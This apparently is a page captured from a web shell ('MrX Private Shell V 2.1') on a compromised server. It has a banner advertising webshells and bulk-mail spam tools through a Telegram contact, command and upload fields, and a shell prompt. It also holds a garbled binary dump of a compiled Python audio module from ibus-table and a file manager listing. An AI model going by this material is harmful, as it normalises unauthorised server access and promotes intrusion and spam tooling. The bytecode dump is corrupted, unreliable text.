__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

q�gG����SrSSKJr SSKJr SSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKr\R"S5r
SrSSKrSrSrSSKrSrSrSSKrSr"SS	5rS
S
jr\S:XaN\R2"\R4S9r\
R9\R:5 \
R=\5 \"5 gg!\4a SrN�f=f!\4a SrN�f=f!\4a SrN�f=f)z$
Module to play simple error sounds
�)�Optional)�AnyNz
ibus-tableFTc��\rSrSrSrS&S\S\SS4SjjrS\4SjrS\4S	jrS\4S
jr	S\4Sjr
S\4SjrS'S
jrS\
RSS4SjrS'SjrS\4SjrS'SjrS'SjrS'SjrS\4SjrS'SjrS'Sjr\S'Sj5r\S\4Sj5r\S'Sj5r\S'Sj5rS'SjrS'SjrS\4Sjr S'Sjr!S'S jr"S'S!jr#S\4S"jr$S'S#jr%S'S$jr&S%r'g)(�SoundObject�9z|
Class to play sounds

When pygames is used, this can play .wav and .mp3 files.
When pyaudio is used, only .wav files work.
�path_to_sound_file�
audio_backend�returnNc�6�XlSUlSUlSUlSUlSUlSUlSUlSUlSUl	SUl
X lSUl[RRUR5(d[ R#SU5 g[R$"UR[R&5(d[ R#SU5 gURUR;a![ R)SX R5 g[+USUR35"5UlUR(a![ R#SUR5 g[ R)S	UR5 g)
N�)�	automatic�pygame�simpleaudio�aplay�pyaudio�zSound file %s does not exist.zSound file %s not readable.z-Audio backend %s not supported, use one of %s�_init_zUsing audio backend %szCould not init audio backend %s)�_path_to_sound_file�	_wav_file�_paudio�_play_pyaudio_thread�_simpleaudio_wave_o�_simpleaudio_play_o�
_aplay_binary�_aplay_stdin�_aplay_process�_play_aplay_thread�_supported_audio_backends�_requested_audio_backend�_audio_backend�os�path�isfile�LOGGER�info�access�R_OK�error�getattr)�selfrr	s   �(/usr/share/ibus-table/engine/it_sound.py�__init__�SoundObject.__init__@sC��);� �37���26���@D��!�EI�� �KO�� �,0������-1���>B���)c��&�(5�%� ����w�w�~�~�d�6�6�7�7��K�K�7�9K�L���y�y��1�1�2�7�7�;�;��K�K�5�7I�J���(�(��0N�0N�N��L�L�H�&�(F�(F�
H��%�d�f�T�5R�5R�4S�,T�U�W�������K�K�0�$�2E�2E�F��L�L�:�D�<Y�<Y�Zrc��UR5(ag[RR[RR[RR
4S:aUR
5(agUR5(ag[(a�[RR[RR[RR
4S:dH[R(aI[S[RRS555S:�aUR5(ag	g
)Nr)��rrr)r/�
rc3�8# �UHn[U5v� M g7f�N)�int)�.0�xs  r+�	<genexpr>�.SoundObject._init_automatic.<locals>.<genexpr>|s���C�$B�q�C��F�F�$B�s��.)r�r0rr)�_init_pygame�sys�version_info�major�minor�micro�_init_simpleaudio�_init_aplay�IMPORT_PYAUDIO_SUCCESSFULr�__version__�tuple�split�
_init_pyaudio�r*s r+�_init_automatic�SoundObject._init_automatic`s���������
�
�
�
#�
#�
�
�
�
#�
#�
�
�
�
#�
#�
%�'1�
2��%�%�'�'�$�������

&�%����%�%����%�%����%�%�'�)3�4��!�!��C�G�$7�$7�$=�$=�c�$B�C�C�z�Q��!�!�#�#� �rc��[(dg[RR5 [RR	5(a4[RR
R
UR5 gg![a5n[RSURRU5 SnAgSnAff=f)Nrrz%pygame: cannot load sound file %s: %s)
�IMPORT_PYGAME_MIXER_SUCCESSFULr�mixer�init�get_init�music�loadr�	Exceptionr$�	exception�	__class__�__name__�r*r(s  r+r;�SoundObject._init_pygame�s���-�-��	1��L�L�����|�|�$�$�&�&����"�"�'�'��(@�(@�A��'���	�	1����7����(�(�%�
1�
1���		1�s�A4B�
C�+B?�?Cc�<�[(dg[R"UR5upUS;a"[RSURU5 g[R"URS5Ul[R"5Ul[R"5Ul[RS[R "55 g!["a5n[R%SUR&R(U5 SnAgSnAff=f)Nr�zaudio/x-wav�<File %s has mime type %s and is not supported by simpleaudio�rbzportaudio version = %srz'pyaudio: cannot init wave object %s: %s)rC�	mimetypes�
guess_typerr$r(�wave�openrr�PyAudior�	threading�Event�_stop_event_paudior%�get_portaudio_version_textrRrSrTrU�r*�	mime_type�encodingr(s    r+rG�SoundObject._init_pyaudio�s���(�(�� )� 4� 4�T�5M�5M� N����,�,��L�L�N��(�(�)�
5��
	1�!�Y�Y�t�'?�'?��F�D�N�"�?�?�,�D�L�7@���7H�D�#��K�K�0��:�:�<�
>����	1����9����(�(�%�
1�
1���		1�s�BC�
D�&+D�Dc��[(dg[R"UR5upUS;a"[RSURU5 g[RRUR5Ul	g![a5n[RSURRU5 SnAgSnAff=f)NrrYrZr�.Initializing error sound object failed: %s: %s)�IMPORT_SIMPLEAUDIO_SUCCESSFULr\r]rr$r(r�
WaveObject�from_wave_filerrRrSrTrUres    r+rA�SoundObject._init_simpleaudio�s���,�,�� )� 4� 4�T�5M�5M� N����,�,��L�L�N��(�(�)�
5��	1��&�&�5�5�d�6N�6N�O�
�$� ���	1����@����(�(�%�
1�
1���		1�s�.B�
C�+C�Cc��[R"UR5upUS;a"[R	SURU5 g[
R"S5UlUR(dg[URSS9nUR5Ul
UR(a
SSS5 gSSS5 g!,(df   g=f)NrYz6File %s has mime type %s and is not supported by aplayrrr[)�mode)r\r]rr$r(�shutil�whichrr_�readr)r*rfrg�aplay_inputs    r+rB�SoundObject._init_aplay�s��� )� 4� 4�T�5M�5M� N����,�,��L�L�H��(�(�)�
5��#�\�\�'�2����!�!��
�4�+�+�$�
7�;� +� 0� 0� 2�D��� � ��8�
7� �8��	8�
7��s�(C�
Cc��UR(aURR5 UR(aURR5 ggr3)r�	terminater�closerHs r+�__del__�SoundObject.__del__�s5���<�<��L�L�"�"�$��>�>��N�N� � �"�r�
stop_eventc��UR(d![RSUR5 gUR(d[RS5 g[RS5 SnURR
URRURR55URR5URR5SUS9nURR5 URRU5nU(a�UR5(dvUR5(d[RS5 OJURU5 URRU5nU(aUR5(dMvUR+5 UR-5 [RS
5 g![ ["4aKn[R%SUR&R(U5 [RS	5 SnAM�SnAff=f)Nz!wave.open(%s, 'rb') did not work.zpyaudio.PyAudio() did not work.zPlaying sound with pyaudio ...iT)�format�channels�rate�output�frames_per_bufferz#pyaudio stream is_active() is Falsez+Unexpected error playing wave object %s: %sz�If you see the "SystemError: PY_SSIZE_T_CLEAN macro must be defined for '#' formats" message here, updating to pyaudio >= 0.2.12 will probably fix the problem.See https://stackoverflow.com/questions/70344884z Done playing sound with pyaudio.)rr$r(rrr%r_�get_format_from_width�getsampwidth�getnchannels�getframerate�rewind�
readframes�is_set�	is_active�write�SystemError�OSErrorrSrTrU�stop_streamrx)r*r{�
chunk_size�stream�datar(s      r+�_play_pyaudio_thread_function�)SoundObject._play_pyaudio_thread_function�s����~�~��L�L�>��1�1�
3���|�|��L�L�:�;�����4�5��
����"�"��<�<�5�5����+�+�-�/��^�^�0�0�2����,�,�.��(�
#�*��	
�������~�~�(�(��4���:�,�,�.�.�
��'�'�)�)��L�L�!F�G�����T�"��~�~�0�0��<��
�:�,�,�.�.�$	�����������6�7�� ��)�

�� � �A��O�O�,�,�e�5����P�Q���

�s�*G,�,,G,�,I�<AI�Ic���URR5 [R"SURUR4S9UlUR
R
5 g)NT)�daemon�target�args)rc�clearra�Threadr�r�startrHs r+�
_play_pyaudio�SoundObject._play_pyaudio�sS�����%�%�'�$-�$4�$4���5�5��)�)�+�%-��!�	
�!�!�'�'�)rc�Z�UR(dgURR5$�NF)r�is_aliverHs r+�_is_playing_pyaudio�SoundObject._is_playing_pyaudios#���(�(���(�(�1�1�3�3rc�D�UR(dgURR5(aoURR5(dOURR	5 URR5 URR
5 gggr3)rr�rcr��set�joinr�rHs r+�
_stop_pyaudio�SoundObject._stop_pyaudiosx���(�(���%�%�.�.�0�0��+�+�2�2�4�4��#�#�'�'�)��%�%�*�*�,��#�#�)�)�+�5�
1rc��UR(dgURR5(aURR5 ggr3)rr�r�rHs r+�_wait_done_pyaudio�SoundObject._wait_done_pyaudios:���(�(���$�$�-�-�/�/��%�%�*�*�,�0rc���UR(dgURR5Ulg![a5n[RSURRU5 SnAgSnAff=f)Nrj)r�playrrRr$rSrTrUrVs  r+�_play_simpleaudio�SoundObject._play_simpleaudios_���'�'��	1�'+�'?�'?�'D�'D�'F�D�$���	1����@����(�(�%�
1�
1��	1�s�4�
A3�+A.�.A3c�l�UR(dg[URR55$r�)r�bool�
is_playingrHs r+�_is_playing_simpleaudio�#SoundObject._is_playing_simpleaudios(���'�'���D�,�,�7�7�9�:�:rc��UR(dgURR5 URR5 gr3)r�stop�	wait_donerHs r+�_stop_simpleaudio�SoundObject._stop_simpleaudio#s4���'�'��� � �%�%�'�	
� � �*�*�,rc�\�UR(dgURR5 gr3)rr�rHs r+�_wait_done_simpleaudio�"SoundObject._wait_done_simpleaudio+s ���'�'��� � �*�*�,rc��[RRR5 [RRR	5 gr3)rrMrPr�r��rr+�_play_pygame�SoundObject._play_pygame0s.�������!�!�#��������!rc�R�[RRR5$r3�rrMrP�get_busyr�rr+�_is_playing_pygame�SoundObject._is_playing_pygame5s���|�|�!�!�*�*�,�,rc�T�[RRR5 gr3)rrMrPr�r�rr+�_stop_pygame�SoundObject._stop_pygame9s���������!rc��[RRR5(a1[RRR5(aM0ggr3r�r�rr+�_wait_done_pygame�SoundObject._wait_done_pygame=s9���l�l� � �)�)�+�+���l�l� � �)�)�+�+rc�4�UR(dg[R"SS[R[R[RSSSS9UlURRURSS9 URR5 g![
[4a5n[RSURRU5 SnAgSnAff=f![RaOn[RSURRU5 URR5 SnAgSnAff=f![ a�n[RSURRU5 [R#S	5 URR5 [R#S
5 SnAg![ a9n[RSURRU5 SnASnAgSnAff=fSnAff=f)NrF)�shell�stdin�stderr�stdoutrg�errors�textz!cannot start aplay process %s: %si�)�input�timeoutz2timeout piping sound file into aplay process%s: %s�%cannot terminate aplay process %s: %s�Trying to kill aplay processzaplay process killed�cannot kill aplay process%s: %s)r�
subprocess�Popen�PIPErr��
ValueErrorr$rSrTrU�communicater�TimeoutExpired�killrwrRr%rVs  r+�_play_aplay_thread_function�'SoundObject._play_aplay_thread_functionBs����!�!��	�",�"2�"2�7�%�9C���:D�/�/�:D�/�/�<@�:>�8<�
#>�D��	����+�+�$�2C�2C�48�
,�
:�
	5����)�)�+����$�	����3����(�(�%�
1�
��		���(�(�	����D����(�(�%�
1�
���$�$�&���	���	5����7����(�(�%�
1�
5����:�;��#�#�(�(�*����2�3�3���
5�� � �5��O�O�,�,�e�5�5��
5��	5�sn�A
B�$C'�E
�C$�/+C�C$�'E
�;AE�E
�
H�+H�AG�
H�+H
�H�
H�H�Hc��[R"SURS9UlURR	5 g)NT)r�r�)rar�r�rr�rHs r+�_play_aplay�SoundObject._play_aplayjs5��"+�"2�"2���3�3�#5���	
���%�%�'rc�Z�UR(dgURR5$r�)rr�rHs r+�_is_playing_aplay�SoundObject._is_playing_aplayps#���&�&���&�&�/�/�1�1rc�B�UR(dgURR5(aGUR(a6URR5cURR	5 URR5(aOURRSS9 URR5(a[RS5 ggg![
a�n[RSURRU5 [RS5 URR5 SnAN�![
a:n[RSURRU5 SnASnAGNSnAff=fSnAff=f)Nr�r�r�g�������?)r�ztimeout stopping aplay thread)rr�r�pollrwrRr$rSrTrUr%r�r�r(rVs  r+�_stop_aplay�SoundObject._stop_aplayus?���&�&���#�#�,�,�.�.��#�#��#�#�(�(�*�2�
5��#�#�-�-�/��"�"�+�+�-�-��#�#�(�(��(�5��&�&�/�/�1�1����<�=�2�.���

5�� � �7����(�(�%�1�5��K�K� >�?��'�'�,�,�.�.�� �5��$�$�9��O�O�,�,�e�5�5��5��

5�s<�C(�(
F�2+F�/E�
F�+F�F�F�F�Fc��UR(dgURR5(aURR5 ggr3)rr�r�rHs r+�_wait_done_aplay�SoundObject._wait_done_aplay�s:���&�&���"�"�+�+�-�-��#�#�(�(�*�.rc��UR(d![RSUR5 g[	USUR35"5 g)zPlay the sound�#Could not init any audio backend %sN�_play_�r r$r(rr)rHs r+r��SoundObject.play��A���"�"��L�L�>��6�6�
8�����t�2�2�3�4�5�7rc��UR(d![RSUR5 g[	[USUR35"55$)z,Check whether the sound is currently playingr�F�_is_playing_)r r$r(rr�r)rHs r+r��SoundObject.is_playing�sI���"�"��L�L�>��6�6�
8���G�D�L��1D�1D�0E�"F�G�I�J�Jrc��UR(d![RSUR5 g[	USUR35"5 g)zStop playing of the soundr�N�_stop_r�rHs r+r��SoundObject.stop�r�rc��UR(d![RSUR5 g[	USUR35"5 g)z*Wait until the sound has been fully playedr�N�_wait_done_r�rHs r+r��SoundObject.wait_done�sA���"�"��L�L�>��6�6�
8�����D�$7�$7�#8�9�:�<r)rrrr rrrrrrrrcrr)r
�r
N)(rU�
__module__�__qualname__�__firstlineno__�__doc__�strr,rIr;rGrArBryrarbr�r�r�r�r�r�r�r�r�r��staticmethodr�r�r�r�r�r�r�r�r�r�r�r�r��__static_attributes__r�rr+rr9sS���'2�[�%(�[� #�[�6:�[�@ �� �D�c���s��,�3��&�S�� #�'8�	���'8�D�'8�R*�4�T�4�
,�-�1�;��;�
-�-�
�"��"��-��-��-��"��"�����&5�P(�2�4�2�
>�0+�8�K�D�K�8�=rrc��Sn[SUS9nUR5 UR5 UR5 UR5 SSKn[SUS9nUR5 [RS5 UR
S5 [RS	UR55 UR5 [RS	UR55 UR
S
5 g)zRun some simple testsr
z$/usr/share/ibus-table/data/coin9.wav)r	rNuI/home/mfabian/sounds/japanese/今回もよろしくお願いします.wavzSleeping ...�z
is playing %s�)	rr�r��timer$r%�sleepr�r�)r	�sound_objectrs   r+�	run_testsr�s��� �M��.�#�	%�L�
������������������S�#�%�L�����
�K�K����J�J�q�M�
�K�K���!8�!8�!:�;�����
�K�K���!8�!8�!:�;��J�J�q�Mr�__main__)r�r�)r��typingrrr<r!�loggingrar^rqr�r\�	getLoggerr$rL�pygame.mixerr�ImportErrorrCrrkrrrrU�
StreamHandlerr��LOG_HANDLER�setLevel�DEBUG�
addHandlerr�rr+�<module>rs��&���
�	����
���	�	�	�<�	(��!&��+��%)�"�"��&�� $��!&��*��$(�!�x=�x=�t�<�z���'�'�s�z�z�:�K�
�O�O�G�M�M�"�
���k�"�
�K���S
	�~�+�%*�"�+��	�~�&� %��&��	�~�*�$)�!�*�s6�C�
C�C�	C�C�	C�C�	C*�)C*

Filemanager

Name Type Size Permission Actions
chinese_variants.cpython-313.pyc File 434.02 KB 0644
factory.cpython-313.pyc File 5.61 KB 0644
ibus_table_location.cpython-313.pyc File 4.87 KB 0644
it_active_window.cpython-313.pyc File 13.01 KB 0644
it_sound.cpython-313.pyc File 23.38 KB 0644
it_util.cpython-313.pyc File 45.11 KB 0644
main.cpython-313.pyc File 18.03 KB 0644
tabcreatedb.cpython-313.pyc File 23.86 KB 0644
table.cpython-313.pyc File 188.3 KB 0644
tabsqlitedb.cpython-313.pyc File 68.79 KB 0644
version.cpython-313.pyc File 423 B 0644
Filemanager